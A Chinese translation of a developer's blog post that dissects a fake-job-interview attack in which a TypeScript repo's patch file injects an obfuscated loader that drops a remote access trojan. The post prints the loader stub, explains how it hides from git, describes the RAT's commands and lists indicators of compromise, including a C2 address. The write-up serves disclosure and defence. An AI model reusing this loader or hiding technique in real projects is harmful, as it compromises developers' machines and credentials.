# 一次失败的（民族国家？）攻击的剖析

- 来源：Hacker News 热门（buzzing.cc 中文翻译）
- 作者：signa11
- 发布时间：2026-06-27 23:39
- AIHOT 分数：81
- AIHOT 标记：精选
- AIHOT 链接：https://aihot.virxact.com/items/cmqwju303014msly0vp9nlrjv
- 原文链接：https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack

## 精选理由

这是一次近乎完美的开发者定向攻击复盘，虚假面试加上精心构造的补丁注入 RAT，手法隐蔽到连作者都差点中招，所有靠开源吃饭的人都该认真看看 Ioc 并重新审视自己的代码审查盲区。

## AI 摘要

作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件，要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描，在`typescript+5.9.2.patch`中发现base64混淆载荷，该载荷在`patch-package`安装时触发，向`~/.cache-`等目录写入`payload.js`和`mutex.js`，构成后门（命名PinpinRAT）。攻击者使用虚构身份和空洞LinkedIn资料，目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。

## 正文

🧠 本文完全由人类撰写：除入侵指标（IoC）信息外，所有文字均为人工完成。由于时间紧迫，使用了 Claude 来加速 RAT 分析并构建 IoC 检测脚本。

由于我居住在加拿大，相关信息已上报给加拿大相关机构（CCCS 等）。该包含恶意载荷的图片在 VirusTotal 上未触发任何杀毒引擎。

攻击者的身份是虚构的，但存在同名且与此事无关的真实个人，为避免混淆，本文已隐去其信息。

在 Reddit 上，Rust 社区中有另外几位用户提到他们也成为了攻击目标。

本周，我险些落入一场伪装成面试的骗局，其目的是在我的机器上植入后门。从邮件内容来看，我怀疑攻击目标是我在 crates.io 上的软件包。

注：我将其称为“PinpinRAT”，是因为其内部字符串中包含该名称，但它在别处可能另有其名。我在网上未能找到任何其他相关引用。

一周半前，我收到一封来自“D█████ S████”的邮件，对方自称来自 Lua Ventures——一家（我当时并不知情的）已倒闭的新加坡 DeFi 领域风投公司。需要明确的是：这是一个捏造的身份，该名字很可能是为了与多位同名真人混淆而刻意选择的。

这封邮件看起来像真的一样，其中包含一个指向 LinkedIn 个人资料的链接，该资料虽然内容平淡，但看起来真实可信。

攻击者甚至提到了他们投资的两家公司，声称这两家公司正在寻找顾问服务：Lyrasing 和 Roadpay。搜索这两家公司并未发现明显异常——它们都有非常基础的网站，但没有任何迹象表明它们是虚假公司，而非仅仅处于早期阶段。（roadpay.cc 的 archive.org 快照）。

我们就会议时间来回沟通，最终确定了一个通话时间。通话本身也毫无异常。电话那头是一位带有德国口音、说话有些难以理解的男性。他说自己正在旅途中接听电话，这虽然有点奇怪，但同样不一定是可疑信号。

通话之后，诱饵来了。一封后续邮件提供了一项“测试”。

此时我略感不快，但并未起疑。我克隆了仓库，但第一个真正的危险信号是在这里出现的。

我幸运的地方在于：他们发给我的是一个 TypeScript 仓库。这让我觉得不对劲。这些指令看起来更像是 TypeScript 工作面试题，而非某种架构分析。我决定把仓库打包，扔给 Claude 快速扫描一下——这既是出于谨慎，也是出于懒惰。

片刻之后，它识别出了一些异常：

值得注意的是，根目录下的 package.json 没有 postinstall/preinstall 钩子——这很有意思，因为他们使用了 patch-package，而该工具通常需要连接到 postinstall 钩子上。让我检查每个 package.json 中的生命周期脚本，然后审计补丁文件（真正的风险面——补丁可以向 node_modules 注入任意代码）。

这引起了我的兴趣。我亲自扫描了目录，注意到 patches/ 目录的数量多得离谱。我检查的前几个补丁看起来还算无害，但正如你可能已经猜到的，它们只是为了增加噪音，让真正的恶意载荷不被发现。

packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch

在我手动缓慢检查的同时，Claude 识别出了 PinpinRAT 的首个迹象：

我找到了。这是一个恶意载荷。嵌入在 typescript+5.9.2.patch 文件中——在看似是对 TypeScript 进行常规“模块说明符”补丁的内容里——有一个 base64 编码的自执行混淆存根被注入到了 _tsc.js 和 typescript.js 的最顶部：

;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor";

这段代码解码一个 base64 字符串，用密钥 73 对每个字节进行 XOR 解密，然后通过 new Function(…) 执行结果，并传入 require、process、Buffer 等。这是一个隐藏的代码执行载荷，每次运行 tsc 或任何导入 typescript.js 的代码时都会触发——也就是说，在第一次执行 npm run typecheck / build / dev 时就会触发。

……就在这时，我决定不再在自己的机器上捅这个马蜂窝了。我用密码将其压缩打包，以防自己意外触发它，然后继续在沙箱中进行分析。

陷阱

这个仓库的主题是一个名为“Ticket Harbor”的渡轮票务应用。捆绑包中的 task.txt 文件包含一组看似合理的无聊任务，但结尾却是：

在提交之前，运行仓库的类型检查、测试套件以及相关的桌面/服务器构建命令。

这条指令就是让你中招的陷阱。

这个链条是这样运作的：

四个独立的 postinstall 钩子都运行了 patch-package。但其中一个还会对补丁文件执行 `git update-index --skip-worktree`，从而将它们对 `git status` 隐藏起来。

`typescript+5.9.2.patch` 在 `typescript.js` 和 `_tsc.js` 的顶部注入了一个自执行存根。这是一个轻度混淆的代码块，被传入 `new Function(...)`（可能是为了避免使用 eval，以规避恶意软件检测）。

该加载器读取一个附加在名为 `operators/3.png` 文件末尾的隐藏块，运行一个嵌入的小型 WASM 存根（位于一个自定义的 wAsm 块中），然后生成一个分离的、静默的 Node 进程，该进程携带一个 1.68 MB 的混淆第二阶段载荷。

它在三个层面进行自我清理：git skip-worktree 技巧；释放器会在首次运行后重写补丁，删除其自身注入的代码行；第二阶段临时目录在执行时自我删除。

实际载荷是一个 RAT（远程访问木马）。我原本担心这是个凭证窃取器，但情况要糟糕得多。PinpinRAT 嵌套在三层混淆中，解开它们非常麻烦：obfuscator.io（它声称有 LLM 保护，哈），以及另外两层 base64。

它释放了什么

为了 1) 快速分享此信息，以及 2) 避免意外在我自己的机器上引爆恶意软件，我让 Claude 在其沙箱中拆解了实际的木马，并让它向我描述。

需要明确说明：Claude 能够在大约 5 分钟的工作内逆向工程多层混淆，这比我所能做到的要快得多。

释放的是一个完整的远程访问木马，似乎是由一个懂行的人拼凑出来的。它在本地设置了一个 RSA 密钥，并使用 AES-256-CBC 作为会话密钥。

启动时，它会调用一个签到例程，收集并窃取主机指纹：

主 IP 地址（枚举所有非内部接口），以及所有 IP

用户名（os.userInfo().username）

主机名

操作系统类型 + 发行版 + 平台 + 架构

进程 PID 和完整的 process.argv

Node 版本

它会生成一个 RSA-2048 密钥对和一个随机的 AES-256 会话密钥（aes_psk），之后所有后续流量都使用 AES-256-CBC 加密，并附带 HMAC-SHA256 完整性校验标签。

它支持以下命令：

env — 将 `process.env` 通过 `JSON.stringify` 序列化后发送回来。

upload — 读取任意文件路径并将其外传。

download — 将攻击者提供的字节写入任意可写路径。

spawn — 运行任意进程，支持可选的 shell 扩展。

ls / cd / pwd / cp / mv — 通用文件系统原语。

dns — 让主机通过指定的解析器解析任意域名（用于 DNS 隧道？）。

dismantle — 自我清除。

入侵指标

如果你最终运行了其中某个程序，应立即将系统从网络中断开，并在另一台机器上轮换你的凭证。修复过程应该很直接，但请认为你的凭证（包括 Cookie 和受密码保护的机密信息）均已泄露。

以下是 PinpinRAT 恶意软件中发现的一些入侵指标：

C2：89.124.107.161:80

计划任务（Windows）：PinpinWrappedJs

进程伪装（macOS）：com.apple.WebKit.Networking

环境变量：NODT_PAYLOAD_PATH, NODT_PAYLOAD_ARGS

PNG 块保护：WASMPACK (wAsm)

PINPIN_NO_AUTOSTART=1：阻止持久化

带有 mutex.js 的 cron 任务（仅当 RAT 拥有权限时，macOS 上可能不存在）

typescript.js 中的锚点字符串：12ff4b51, ticket-harbor-tsc-shim-anchor

包含有效负载的 typescript+5.9.2.patch

Artifact dirs: ~/Library/Caches/runtime-cache/.cache-<randomhex>/ (macOS), /tmp/.cache-<randomhex>/ (Linux), %TEMP%\.cache-<randomhex>\ (Windows)

.. 其中包含 payload.js 和 mutex.js

我本应看到警示信号的地方

有几个地方我本应更早看到警示信号。这次攻击活动的目标是让这些信号足够隐蔽，不至于触发你的防御机制，但你需要足够警惕，才能发现何时足够多的黄色信号累积成了红色信号。

仔细看的话，这些消息带有一些大语言模型的特征。这很可能是一个信号，表明你应该以极度怀疑的态度对待任何事物。

那个 LinkedIn 个人资料乍一看很真实，但里面充斥着胡言乱语（“BSc(Hons), MA (Dist), PGDipFM, CEng”？），至少应该让人产生一种“沙拉拼盘”的感觉。没有任何真实的活动记录。

他们网站上的社交媒体链接确实有一段真实历史，但名称在 2025 年 11 月被更改了。所有帖子内容都相当空洞，只是对某些公司含糊其辞地表示赞赏，而这些公司并未得到任何具体描述。

那些拥有网站的公司，除了光鲜亮丽的网页之外，并没有任何真实的存在感。

他们从未发送过正式的邀请函——只给了一个时间和一个 Google Meet 链接。哪家风投不用日历？他们的摄像头全程关闭，并且声称自己“正在旅行”。

再看整体操作手法：一家总部设在新加坡、按中欧夏令时运营的风投基金，联系一位加拿大的开发者，域名瞄准美国客户，后缀却是 .cc。要核实一个如此遥远的组织的背景，难度要大得多。

事后看来，没有哪一点是显而易见的，但如果你把整件事放在一起看，缺失的拼图就在那里。

那么，这到底是谁干的？

无法确定，但这是一次有针对性的攻击，拥有相当令人信服的伪装故事和虚假身份、多个窃取历史记录的虚假网站，以及一个耐心的行动时间线。那个 Git 陷阱相当高明。这种“虚假面试骗局”已成为 2026 年多个行为体的惯用伎俩。

幕后黑手究竟是谁，现在该由相关机构去负责了。值得注意的一点是，这次攻击的目标是你我这样的开发者，而我足够幸运，在陷阱触发前看到了一个危险信号。

老实说，最让我感到恐惧和清醒的是，如果这是一个带有陷阱的 build.rs 脚本的 Rust 仓库，我可能已经上当了。
